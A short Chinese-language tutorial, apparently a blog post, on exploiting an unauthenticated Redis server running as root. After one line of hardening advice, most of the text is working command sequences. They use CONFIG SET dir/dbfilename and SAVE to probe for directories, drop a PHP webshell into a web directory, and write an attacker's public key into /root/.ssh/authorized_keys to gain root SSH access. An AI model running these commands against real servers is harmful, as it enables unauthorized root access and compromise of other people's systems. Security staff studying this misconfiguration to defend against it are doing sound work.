在许多服务器上部署的Redis是采用Root权限进行启动进而可以利用这个Root做许多超级权限的事情。由于REDIS是没有严格授权管理机制大家在部署一定不要设置为0.0.0.0以及最好使用requirepass(虽然是明文但是至少增加一定的难度)。

本文主要利用的是redis提供的configsave两个命令来完成我们的HACK功能便捷的工具用歪了就成了祸害。

简单介绍几个有用的命令

config set dir $path:

这个命令是配置为了指定redis的“工作路径”之后生成的RDB和AOF文件都会存储在这里

dbfilename $name:

RDB文件名默认为“dump.rdb”

save:

将内存里的数据进行持久化操作


它们结合在一起就可以实现如下好玩的功能

1.指定文件夹是否存在

config set dir /home/bob

如果是返回(error) ERR Changing directory: No such file or directory表示没有该文件夹。

如果返回OK表示服务器上有这个文件夹并且已经将其设置为内存快照保存的文件夹


2.webshell最好使用之前进行flushdb,或者flushall清空内存里数据

1.config set dir /opt/web/www #设定网站的目录
2.config set dbfilename test.php #设定将要保存的文件名
3.set "<?php phpinfo();?>" "" #我们的webshell
4.save  #将内存持久化到test.php


3.访问信任

1.cat ~/.ssh/id_rsa.pub > ~/foo.txt
2.cat ~/foo.txt|redis -x set hack #将foo.txt里的内容保存为一个KEY为hack的字符串
3.config set dir /root/.ssh/ #设定root的.ssh文件夹
4.config set dbfilename authorized_keys
5.save